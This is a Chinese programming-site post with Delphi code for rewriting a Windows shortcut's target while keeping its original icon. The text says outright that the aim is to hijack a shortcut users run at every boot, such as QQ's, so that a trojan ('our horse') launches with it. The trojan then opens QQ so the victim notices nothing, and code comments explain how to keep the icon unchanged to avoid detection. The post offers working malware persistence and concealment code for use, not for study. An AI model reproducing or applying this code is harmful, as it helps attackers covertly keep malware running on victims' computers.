主页 > 编程资料 > Delphi >
发布时间:2015-09-22 作者:网络 阅读:122次

 

单元 ShlObj,   ComObj,   ActiveX;

修改快捷方式的启动目标,不改变原图标样子,反正QQ这种是用户每次开机就运行的,就连同我们的马一起运行了呗.

马在运行时会自动开启QQ,这样用户就发现不到了.

 

function LinkFileInfo(const lnkFileName:string;var info:LINK_FILE_INFO;const bSet:boolean):boolean;
var
 hr:hresult;
 psl:IShelllink;
 wfd:win32_find_data;
 ppf:IPersistFile;
 lpw:pwidechar;
 buf:pwidechar;
begin
 result:=false;
 getmem(buf,MAX_PATH);
 try
 if SUCCEEDED(CoInitialize(nil)) then
 if (succeeded(cocreateinstance(clsid_shelllink,nil,clsctx_inproc_server,IID_IShellLinkA,psl))) then
 begin
   hr:=psl.QueryInterface(iPersistFile,ppf);
   if succeeded(hr) then
   begin
     lpw:=stringtowidechar(lnkfilename,buf,MAX_PATH);
     hr := ppf.Load(lpw, STGM_READ);
     if succeeded(hr) then
     begin
       hr := psl.Resolve(0, SLR_NO_UI);
       if succeeded(hr) then
       begin
         if bSet then
         begin
           psl.SetArguments(info.Arguments);
           psl.SetDescription(info.Description);
           psl.SetHotkey(info.HotKey);
           psl.SetIconLocation(info.IconLocation,info.IconIndex);
           //psl.SetIDList(info.ItemIDList);      注意这个别修改,不然图标就不好更换了,嘿嘿
           psl.SetPath(info.FileName);
           psl.SetShowCmd(info.ShowState);
           psl.SetRelativePath(info.RelativePath,0);
           psl.SetWorkingDirectory(info.WorkDirectory);
           result:=succeeded(psl.Resolve(0,SLR_UPDATE));
         end
         else
         begin
           psl.GetPath(info.FileName,MAX_PATH, wfd,SLGP_SHORTPATH );
           psl.GetIconLocation(info.IconLocation,MAX_PATH,info.IconIndex);
           psl.GetWorkingDirectory(info.WorkDirectory,MAX_PATH);
           psl.GetDescription(info.Description,CCH_MAXNAME);
           psl.GetArguments(info.Arguments,MAX_PATH);
           psl.GetHotkey(info.HotKey);
           psl.GetIDList(info.ItemIDList);
           psl.GetShowCmd(info.ShowState);
           result:=true;
         end;
       end;
     end;
   end;
end;
 finally
 freemem(buf);
 end;
end;


procedure  SetLinkFileRun(LinkFilePath:string;NewRunPath:string);
var
info2,info3:LINK_FILE_INFO;
begin
   LinkFileInfo(LinkFilePath,info2,False);
   strpcopy(info3.FileName,NewRunPath);
   strpcopy(info3.WorkDirectory,ExtractfilePath(NewRunPath));
   info3.Description:=info2.Description;
   strpcopy(info3.IconLocation,info2.FileName);    //这里用快捷方式原目标文件地址,不然修改后 原图标样式会被替换成   D:\a.exe 的图标
   info3.IconIndex:=0;   //这里填0,不然修改完后原图标样式会被替换成   D:\a.exe 的图标
   info3.HotKey:=0;
   LinkFileInfo(LinkFilePath,info3,True);
end;

 

 

修改不当的快捷方式:

 

 

完美修改后的快捷方式:



关键字词: